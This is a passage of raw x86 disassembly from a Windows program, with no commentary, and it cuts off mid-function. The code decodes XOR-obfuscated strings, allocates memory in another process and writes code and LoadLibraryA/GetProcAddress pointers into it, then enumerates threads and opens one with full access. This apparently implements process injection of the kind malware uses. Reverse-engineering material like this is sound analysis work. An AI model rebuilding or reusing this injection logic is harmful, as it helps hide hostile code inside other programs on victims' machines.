psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x28
jl 0x403570
mov dword [esp + 0x18], edx
cmp edx, 0x29
jge 0x4036a0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x18], edx
cmp edx, 0x29
jl 0x403670
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push 4
push 0x3000
push 0x1000
push 0
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
mov dword [esp + 0x80], eax
mov dword [esp + 0x18], edx
test eax, eax
jne 0x4038cd
mov eax, dword [0x4075fc]
mov dword [esp + 0x58], eax
movups xmm0, xmmword [0x4075c4]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4075d4]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x4075e4]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x4075f4]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x403860
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x38
jl 0x403760
mov dword [esp + 0x18], edx
cmp edx, 0x3c
jge 0x403890
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x18], edx
cmp edx, 0x3c
jl 0x403860
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov esi, dword [esp + 0x80]
add esp, 4
push 0x8000
push 0
push dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x18]
jmp 0x402408
mov eax, dword [0x4073f0]
mov dword [esp + 0x38], eax
mov ax, word [0x4073f4]
mov word [esp + 0x3c], ax
mov al, byte [0x4073f6]
mov byte [esp + 0x3e], al
movups xmm0, xmmword [str.tV__YO]
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x4073e8]
movq qword [esp + 0x30], xmm0
cmp edi, 2
jl 0x403a50
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
xor edx, edx
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x403950
mov dword [esp + 0x18], edx
cmp edx, 0x1f
jge 0x403a80
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x18], edx
cmp edx, 0x1f
jl 0x403a50
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov eax, dword [esp + 0x14]
xor edx, edx
mov ecx, dword [esp + 0x20]
add esp, 4
movups xmm0, xmmword [0x407554]
mov dword [esp + 0x94], ecx
mov eax, dword [eax + 0x3c]
add eax, ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x98], eax
mov eax, dword [esi + 0xa0]
add eax, ecx
mov dword [esp + 0x9c], eax
mov eax, dword [esi + 0x80]
add eax, ecx
mov dword [esp + 0xa0], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0xa4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0xa8], eax
mov al, byte [0x40757c]
mov byte [esp + 0x48], al
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407564]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [0x407574]
movq qword [esp + 0x40], xmm0
cmp edi, 2
jl 0x403c53
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x28
jl 0x403b53
mov dword [esp + 0x10], edx
cmp edx, 0x29
jge 0x403c83
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x29
jl 0x403c53
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov esi, dword [esp + 0x80]
lea eax, [esp + 0x98]
add esp, 4
push 0
push 0x18
push eax
push dword [esp + 0x8c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x80]
mov eax, fcn.004012c0
push 0
sub eax, 0x4011c0
add ecx, 0x18
push eax
push 0x4011c0
push ecx
push esi
mov dword [esp + 0x98], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0xac]
push eax
push esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_Thread32First]
movups xmm0, xmmword [str.PT_USY]
mov ax, word [0x407334]
mov ecx, dword [0x407330]
mov dword [esp + 0x38], ecx
mov word [esp + 0x3c], ax
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x407328]
movq qword [esp + 0x30], xmm0
test ah, ah
je 0x403eb0
xor edx, edx
mov dword [esp + 0x10], edx
cmp edi, 2
jl 0x403e80
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x403d80
mov dword [esp + 0x10], edx
cmp edx, 0x1e
jge 0x403eb0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1e
jl 0x403e80
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
lea eax, [esp + 0xac]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Thread32Next]
call esi
test eax, eax
je 0x4040b1
nop word [eax + eax]
mov eax, dword [esp + 0x14]
cmp dword [esp + 0xb8], eax
je 0x403f04
lea eax, [esp + 0xac]
push eax
push dword [esp + 0x1c]
call esi
test eax, eax
jne 0x403ee0
jmp 0x4040b1
movups xmm0, xmmword [str.lXHYI]
mov eax, dword [0x407380]
xor edx, edx
mov dword [esp + 0x40], eax
mov al, byte [0x407384]
mov byte [esp + 0x44], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407370]
movups xmmword [esp + 0x30], xmm0
cmp edi, 2
jl 0x404074
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x403f74
mov dword [esp + 0x10], edx
cmp edx, 0x25
jge 0x4040a4
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x25
jl 0x404074
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [str.yUVT_JV.b.___51i_l9_74s_94_uV_]
mov eax, dword [0x40766c]
xor edx, edx
mov dword [esp + 0x40], eax
mov ax, word [0x407670]
mov word [esp + 0x44], ax
mov al, byte [0x407672]
mov byte [esp + 0x46], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x40765c]
movups xmmword [esp + 0x30], xmm0
cmp edi, 2
jl 0x404240
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x404140
mov dword [esp + 0x10], edx
cmp edx, 0x27
jge 0x404270
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x27
jl 0x404240
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov esi, dword [esp + 0x80]
add esp, 4
push 4
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x404469
movups xmm0, xmmword [0x40739c]
mov al, byte [0x4073d4]
xor edx, edx
mov byte [esp + 0x58], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4073ac]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x4073bc]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x4073cc]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x404430
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x38
jl 0x404330
mov dword [esp + 0x10], edx
cmp edx, 0x39
jge 0x404460
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x39
jl 0x404430
lea eax, [esp + 0x20]
jmp 0x402018
movups xmm0, xmmword [0x407534]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407544]
movups xmmword [esp + 0x30], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x404613
xor edx, edx
mov dword [esp + 0x10], edx
cmp edi, 2
jl 0x4045e0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
xor ecx, ecx
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov edx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + ecx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x24]
pxor xmm1, xmm0
movd dword [esp + ecx + 0x24], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x4044e0
jmp 0x404613
mov eax, 0x2f684bdb
mul edx
mov eax, dword [esp + 0x10]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x10]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x20
jl 0x4045e0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push dword [esp + 0xb4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
jne 0x40480e
movups xmm0, xmmword [0x4076fc]
mov ax, word [0x40772c]
xor edx, edx
mov word [esp + 0x50], ax
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x40770c]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x40771c]
movups xmmword [esp + 0x40], xmm0
cmp edi, 2
jl 0x4047b3
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x30
jl 0x4046b3
mov dword [esp + 0x10], edx
cmp edx, 0x32
jge 0x4047e3
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x32
jl 0x4047b3
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov esi, dword [esp + 0x80]
add esp, 4
push 0x8000
push 0
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402021
cmp byte [0x407493], 0
movups xmm0, xmmword [str.kLIKYSZV.b7_7___i_____RKHTN_a]
mov eax, dword [0x407490]
